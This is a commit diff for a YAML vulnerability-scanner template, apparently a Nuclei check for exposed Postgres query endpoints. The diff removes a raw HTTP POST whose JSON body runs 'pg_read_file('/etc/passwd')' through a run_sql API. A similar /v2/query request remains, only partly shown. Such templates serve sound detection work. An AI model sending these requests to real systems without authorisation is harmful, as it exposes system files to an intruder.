Update raw-psql-warp.yaml

patch-1
lulz 2021-07-27 22:12:41 +07:00 committed by GitHub
parent 2219ab607e
commit 5c931f8d00
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 1 additions and 20 deletions

View File

@ -9,26 +9,6 @@ info:
requests:
- raw:
- |
POST /v1/query HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{
"type": "bulk",
"source": "default",
"args":[
{
"type": "run_sql",
"args": {
"source":"default",
"sql":"SELECT pg_read_file('/etc/passwd',0,100000);",
"cascade": false,
"read_only": false
}
}
]
}
- |
POST /v2/query HTTP/1.1
Host: {{Hostname}}
@ -49,6 +29,7 @@ requests:
}
]
}
matchers:
- type: regex
regex: